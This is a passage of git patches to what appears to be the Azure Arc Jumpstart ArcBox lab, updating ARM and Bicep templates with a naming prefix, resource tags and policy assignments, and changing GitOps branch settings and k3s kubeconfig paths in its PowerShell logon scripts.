"type": "string", - "defaultValue": "ArcBox-NSG", + "defaultValue": "[format('{0}-NSG', parameters('namingPrefix'))]", "metadata": { "description": "Name of the Network Security Group" } }, "bastionNetworkSecurityGroupName": { "type": "string", - "defaultValue": "ArcBox-Bastion-NSG", + "defaultValue": "[format('{0}-Bastion-NSG', parameters('namingPrefix'))]", "metadata": { "description": "Name of the Bastion Network Security Group" } @@ -5255,10 +5646,27 @@ "metadata": { "description": "DNS Server configuration" } + }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" + }, + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } } }, "variables": { - "keyVaultName": "[format('arcbox{0}', uniqueString(resourceGroup().id))]", + "keyVaultName": "[toLower(format('{0}{1}', parameters('namingPrefix'), uniqueString(resourceGroup().id)))]", "security": { "name": "[format('Security({0})', parameters('workspaceName'))]", "galleryName": "Security" @@ -5271,7 +5679,7 @@ "drSubnetPrefix": "172.16.128.0/17", "bastionSubnetName": "AzureBastionSubnet", "bastionSubnetRef": "[format('{0}/subnets/{1}', resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName')), variables('bastionSubnetName'))]", - "bastionName": "ArcBox-Bastion", + "bastionName": "[format('{0}-Bastion', parameters('namingPrefix'))]", "bastionSubnetIpPrefix": "10.16.3.64/26", "bastionPublicIpAddressName": "[format('{0}-PIP', variables('bastionName'))]", "primarySubnet": [ @@ -5332,7 +5740,8 @@ }, "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('bastionNetworkSecurityGroupName'))]", - "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" ] }, { @@ -5363,7 +5772,8 @@ ] }, "dependsOn": [ - "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" ] }, { @@ -5382,7 +5792,8 @@ }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", - "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]" + "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" ] }, { @@ -5401,7 +5812,8 @@ }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", - "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]" + "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" ] }, { @@ -5516,7 +5928,10 @@ } } ] - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] }, { "condition": "[equals(parameters('deployBastion'), true())]", @@ -5643,13 +6058,17 @@ } } ] - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] }, { "type": "Microsoft.OperationalInsights/workspaces", "apiVersion": "2021-06-01", "name": "[parameters('workspaceName')]", "location": "[parameters('location')]", + "tags": "[parameters('resourceTags')]", "properties": { "sku": { "name": "[parameters('sku')]" @@ -5687,7 +6106,10 @@ }, "sku": { "name": "Standard" - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] }, { "condition": "[equals(parameters('deployBastion'), true())]", @@ -5704,6 +6126,7 @@ }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]", "[resourceId('Microsoft.Network/publicIPAddresses', variables('bastionPublicIpAddressName'))]" ] }, @@ -5725,6 +6148,9 @@ }, "flavor": { "value": "[parameters('flavor')]" + }, + "resourceTags": { + "value": "[parameters('resourceTags')]" } }, "template": { @@ -5733,8 +6159,8 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "7039268725033092123" + "version": "0.29.47.4906", + "templateHash": "9222970623693331004" } }, "parameters": { @@ -5755,6 +6181,31 @@ "metadata": { "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', 'DevOps'" } + }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" + }, + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "azureUpdateManagerArcPolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/bfea026e-043f-4ff4-9d1b-bf301ca7ff46" + }, + "azureUpdateManagerAzurePolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/59efceea-0c96-497e-a4a1-4eb2290dac15" + }, + "sshPostureControlAzurePolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/a8f3e6a6-dcd2-434c-b0f7-6f309ce913b4" + }, + "tagsRoleDefinitionId": { + "type": "string", + "defaultValue": "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c', subscription().subscriptionId)]" } }, "variables": { @@ -5780,25 +6231,6 @@ } } }, - { - "name": "(ArcBox) Tag resources", - "definitionId": "/providers/Microsoft.Authorization/policyDefinitions/4f9dc7db-30c1-420c-b61a-e1d640128d26", - "flavors": [ - "Full", - "ITPro", - "DevOps", - "DataOps" - ], - "roleDefinition": "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c', subscription().subscriptionId)]", - "parameters": { - "tagName": { - "value": "Project" - }, - "tagValue": { - "value": "jumpstart_arcbox" - } - } - }, { "name": "(ArcBox) Enable Microsoft Defender on Kubernetes clusters", "definitionId": "/providers/Microsoft.Authorization/policyDefinitions/708b60a6-d253-4fe0-9114-4be4c00f012c", @@ -5887,18 +6319,138 @@ ] }, { - "condition": "[contains(variables('policies')[2].flavors, parameters('flavor'))]", + "copy": { + "name": "applyCustomTags", + "count": "[length(items(parameters('resourceTags')))]" + }, + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2021-06-01", + "name": "[format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key)]", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "policyDefinitionId": "/providers/Microsoft.Authorization/policyDefinitions/4f9dc7db-30c1-420c-b61a-e1d640128d26", + "parameters": { + "tagName": { + "value": "[items(parameters('resourceTags'))[copyIndex()].key]" + }, + "tagValue": { + "value": "[items(parameters('resourceTags'))[copyIndex()].value]" + } + } + } + }, + { + "copy": { + "name": "policy_tagging_resources", + "count": "[length(items(parameters('resourceTags')))]" + }, "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2020-10-01-preview", - "name": "[guid(variables('policies')[2].name, variables('policies')[2].roleDefinition, resourceGroup().id)]", + "name": "[guid(format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key), parameters('tagsRoleDefinitionId'), resourceGroup().id)]", "properties": { - "roleDefinitionId": "[variables('policies')[2].roleDefinition]", - "principalId": "[if(contains(variables('policies')[2].flavors, parameters('flavor')), reference(resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[2].name), '2021-06-01', 'full').identity.principalId, guid(format('policies_name_id{0}', 0)))]", + "roleDefinitionId": "[parameters('tagsRoleDefinitionId')]", + "principalId": "[reference(resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key)), '2021-06-01', 'full').identity.principalId]", "principalType": "ServicePrincipal" }, "dependsOn": [ - "[resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[2].name)]" + "[resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key))]", + "[resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key))]" ] + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Linux hybrid machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Arc-enabled Linux machines", + "description": "Enable Azure Update Manager for Arc-enabled machines", + "policyDefinitionId": "[parameters('azureUpdateManagerArcPolicyId')]", + "parameters": { + "osType": { + "value": "Linux" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Windows hybrid machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Arc-enabled Windows machines", + "description": "Enable Azure Update Manager for Arc-enabled machines", + "policyDefinitionId": "[parameters('azureUpdateManagerArcPolicyId')]", + "parameters": { + "osType": { + "value": "Windows" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Azure Windows machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Azure Windows machines", + "description": "Enable Azure Update Manager for Azure machines", + "policyDefinitionId": "[parameters('azureUpdateManagerAzurePolicyId')]", + "parameters": { + "osType": { + "value": "Windows" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Azure Linux machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Azure Linux machines", + "description": "Enable Azure Update Manager for Azure machines", + "policyDefinitionId": "[parameters('azureUpdateManagerAzurePolicyId')]", + "parameters": { + "osType": { + "value": "Linux" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable SSH Posture Control audit", + "location": "[parameters('azureLocation')]", + "properties": { + "displayName": "(ArcBox) Enable SSH Posture Control audit", + "description": "Enable SSH Posture Control in audit mode", + "policyDefinitionId": "[parameters('sshPostureControlAzurePolicyId')]", + "parameters": { + "IncludeArcMachines": { + "value": "true" + } + } + } } ] } @@ -5918,7 +6470,7 @@ "mode": "Incremental", "parameters": { "name": { - "value": "[variables('keyVaultName')]" + "value": "[toLower(variables('keyVaultName'))]" }, "enablePurgeProtection": { "value": false @@ -8364,7 +8916,10 @@ } } } - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] } ], "outputs": { @@ -8406,6 +8961,9 @@ }, "drClusterName": { "value": "[variables('aksDrArcDataClusterName')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" } }, "template": { @@ -8414,21 +8972,21 @@ "metadata": { "_generator": { "name": "bicep", - "version": "0.28.1.47646", - "templateHash": "5843142477636067178" + "version": "0.29.47.4906", + "templateHash": "1398021495301668101" } }, "parameters": { "aksClusterName": { "type": "string", - "defaultValue": "ArcBox-AKS-Data", + "defaultValue": "[format('{0}-AKS-Data', parameters('namingPrefix'))]", "metadata": { "description": "The name of the Kubernetes cluster resource" } }, "drClusterName": { "type": "string", - "defaultValue": "ArcBox-AKS-DR-Data", + "defaultValue": "[format('{0}-AKS-DR-Data', parameters('namingPrefix'))]", "metadata": { "description": "The name of the Kubernetes cluster resource" } @@ -8516,6 +9074,14 @@ "metadata": { "description": "The version of Kubernetes" } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } } }, "variables": { @@ -8523,10 +9089,10 @@ "dnsServiceIP_primary": "10.20.64.10", "serviceCidr_secondary": "172.20.64.0/19", "dnsServiceIP_secondary": "172.20.64.10", - "virtualNetworkName": "ArcBox-VNet", - "aksSubnetName": "ArcBox-AKS-Subnet", - "drVirtualNetworkName": "ArcBox-DR-VNet", - "drSubnetName": "ArcBox-DR-Subnet" + "virtualNetworkName": "[format('{0}-VNet', parameters('namingPrefix'))]", + "aksSubnetName": "[format('{0}-AKS-Subnet', parameters('namingPrefix'))]", + "drVirtualNetworkName": "[format('{0}-DR-VNet', parameters('namingPrefix'))]", + "drSubnetName": "[format('{0}-DR-Subnet', parameters('namingPrefix'))]" }, "resources": [ { From 7e87a6e02f71ddd0916421393c46d4736e64fda6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 22:14:44 +0000 Subject: [PATCH 483/506] Updated GitOps branch configuration Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 8 ++++---- .../artifacts/gitops_scripts/K3sGitOps.ps1 | 2 +- .../artifacts/gitops_scripts/K3sRBAC.ps1 | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index a4dda72bf6..0ee7977dd9 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -341,7 +341,7 @@ az k8s-configuration flux create ` --cluster-type connectedClusters ` --scope cluster ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=nginx path=./nginx/release # Create GitOps config for Bookstore application @@ -352,7 +352,7 @@ az k8s-configuration flux create ` --name config-bookstore ` --cluster-type connectedClusters ` --url $appClonedRepo ` - --branch arcbox_3.0 --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=bookstore path=./bookstore/yaml # Create GitOps config for Bookstore RBAC @@ -365,7 +365,7 @@ az k8s-configuration flux create ` --scope namespace ` --namespace bookstore ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=bookstore path=./bookstore/rbac-sample # Create GitOps config for Hello-Arc application @@ -378,7 +378,7 @@ az k8s-configuration flux create ` --cluster-type connectedClusters ` --scope namespace ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml $configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup --query "[].name" -otsv) diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index 70d46ef4ef..9f5e73f813 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -56,7 +56,7 @@ az k8s-configuration flux create ` --cluster-type connectedClusters ` --scope namespace ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml $configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup --query "[].name" -otsv) diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 index 45b9dae52c..8414ae36d6 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 @@ -32,5 +32,5 @@ az k8s-configuration flux create ` --name config-helloarc-rbac ` --cluster-type connectedClusters ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $env:githubBranch --sync-interval 3s ` --kustomization name=bookstore path=./k8s-rbac-sample From 4d1786c09832040f4aa046a160160f01a26b81c1 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Tue, 13 Aug 2024 18:56:56 -0400 Subject: [PATCH 484/506] Update DataOpsLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 9ed78e38da..1aa9e3a398 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -174,7 +174,7 @@ az aks get-credentials --resource-group $Env:resourceGroup --name $Env:aksdrArcC kubectx aks="$Env:aksArcClusterName-admin" kubectx aks-dr="$Env:aksdrArcClusterName-admin" -kubectx k3s="$namingPrefix-k3s-datasvc" +kubectx k3s="config-k3s-datasvc" Start-Sleep -Seconds 10 From f5d196a9a8d296b971b051e640795f00b0cdea76 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Tue, 13 Aug 2024 19:25:15 -0400 Subject: [PATCH 485/506] Update DataOpsLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 1aa9e3a398..541a8a74e5 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -174,7 +174,7 @@ az aks get-credentials --resource-group $Env:resourceGroup --name $Env:aksdrArcC kubectx aks="$Env:aksArcClusterName-admin" kubectx aks-dr="$Env:aksdrArcClusterName-admin" -kubectx k3s="config-k3s-datasvc" +kubectx k3s="arcbox-k3s-data" Start-Sleep -Seconds 10 From 599a3c5dadefd86369d18646eed82bf0100af918 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 10:29:51 +0300 Subject: [PATCH 486/506] Update k3s context in DataOpsLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 8 ++++---- azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 16bfa8a085..76530ec93d 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -12,7 +12,7 @@ $aksArcClusterName = ($Env:aksArcClusterName).toLower() $aksdrArcClusterName = ($Env:aksdrArcClusterName).toLower() $clusters = @( - [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; dataController = "$k3sArcDataClusterName-dc" ; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s-datasvc" } + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; dataController = "$k3sArcDataClusterName-dc" ; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s-data" } [pscustomobject]@{clusterName = $Env:aksArcClusterName ; dataController = "$aksArcClusterName-dc" ; customLocation = "$aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } [pscustomobject]@{clusterName = $Env:aksdrArcClusterName ; dataController = "$aksdrArcClusterName-dc" ; customLocation = "$aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr" } ) @@ -149,7 +149,7 @@ Write-Host "`n" # Downloading k3s Kubernetes cluster kubeconfig file Write-Header "Downloading k3s Kubeconfig" $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/config" -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:adminUsername\.kube\config-k3s-datasvc" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:adminUsername\.kube\config-k3s-data" azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:adminUsername\.kube\config" $addsDomainNetBiosName = $Env:addsDomainName.Split(".")[0] @@ -174,7 +174,7 @@ az aks get-credentials --resource-group $Env:resourceGroup --name $Env:aksdrArcC kubectx aks="$Env:aksArcClusterName-admin" kubectx aks-dr="$Env:aksdrArcClusterName-admin" -kubectx k3s="arcbox-k3s-data" +kubectx k3s="$namingPrefix-k3s-data" Start-Sleep -Seconds 10 @@ -400,7 +400,7 @@ Stop-Transcript # - Deploying data services on k3s cluster ################################################ -wt --% --maximized new-tab pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:adminUsername\.kube\config-k3s-datasvc" -clusterName 'k3s Cluster'; split-pane -p "PowerShell" pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aks" -clusterName 'AKS Cluster'; split-pane -H pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" -clusterName 'AKS-DR Cluster' +wt --% --maximized new-tab pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:adminUsername\.kube\config-k3s-data" -clusterName 'k3s Cluster'; split-pane -p "PowerShell" pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aks" -clusterName 'AKS Cluster'; split-pane -H pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" -clusterName 'AKS-DR Cluster' Write-Header "Deploying Azure Arc Data Controllers on Kubernetes cluster" $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index 857dc46cdb..2719a0427d 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -61,7 +61,7 @@ else { $sqlInstances = @( - [pscustomobject]@{instanceName = 'k3s-sql'; dataController = "$k3sArcDataClusterName-dc"; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s-datasvc" } + [pscustomobject]@{instanceName = 'k3s-sql'; dataController = "$k3sArcDataClusterName-dc"; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s-data" } [pscustomobject]@{instanceName = 'aks-sql'; dataController = "$aksArcClusterName-dc" ; customLocation = "$aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } From cdf3924a1baabe5e07bbfe9aeb98a165698c6530 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 10:31:42 +0300 Subject: [PATCH 487/506] Update main.bicep --- azure_jumpstart_arcbox/bicep/main.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 00031f4555..ecc7409db4 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -35,7 +35,7 @@ param flavor string = 'ITPro' param githubAccount string = 'microsoft' @description('Target GitHub branch') -param githubBranch string = 'arcbox_3.0' +param githubBranch string = 'main' @description('Choice to deploy Bastion to connect to the client VM') param deployBastion bool = false From fe04ef397809a6e885cdd9d083355d7dd63abaad Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 10:56:57 +0300 Subject: [PATCH 488/506] Update kubeconfig file path for k3s cluster --- .../artifacts/DevOpsLogonScript.ps1 | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 0ee7977dd9..7b8e211118 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -18,7 +18,7 @@ $certdns = "arcbox.devops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" $clusters = @( - [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = "$namingPrefix-k3s-datasvc" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = "$namingPrefix-k3s-data" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = "$namingPrefix-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s" } ) @@ -90,13 +90,13 @@ Write-Header "Az CLI Login" az login --identity az account set -s $env:subscriptionId -# Downloading ArcBox-K3s-DataSvc Kubernetes cluster kubeconfig file -Write-Header "Downloading $namingPrefix-K3s-DataSvc K8s Kubeconfig" +# Downloading ArcBox-K3s-data Kubernetes cluster kubeconfig file +Write-Header "Downloading $namingPrefix-K3s-data K8s Kubeconfig" $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/config" azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config" -# Downloading ArcBox-K3s-DataSvc log file -Write-Header "Downloading $namingPrefix-K3s-DataSvc Install Logs" +# Downloading ArcBox-K3s-data log file +Write-Header "Downloading $namingPrefix-K3s-data Install Logs" $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/*" $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" @@ -113,8 +113,8 @@ $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($E $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" -# # Merging kubeconfig files from ArcBox-K3s-DataSvc and ArcBox-K3s -# Write-Header "Merging ArcBox-K3s-DataSvc & ArcBox-K3s Kubeconfigs" +# # Merging kubeconfig files from ArcBox-K3s-data and ArcBox-K3s +# Write-Header "Merging ArcBox-K3s-data & ArcBox-K3s Kubeconfigs" # Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" # $Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" # kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp @@ -305,9 +305,9 @@ $kubeVipDaemonset | kubectl apply -f - Write-Host "`n" } -# Switch Kubernetes context to ArcBox-K3s-DataSvc cluster +# Switch Kubernetes context to ArcBox-K3s-data cluster foreach ($cluster in $clusters) { - if ($cluster.context -like '*-k3s-datasvc') { + if ($cluster.context -like '*-k3s-data') { $Env:KUBECONFIG=$cluster.kubeConfig kubectx } From 5e6d368b8c15c8c3d2ddd8aff536b5f8f0ab22bf Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 14 Aug 2024 11:04:45 +0300 Subject: [PATCH 489/506] chore: Update kubeconfig file path for k3s cluster --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 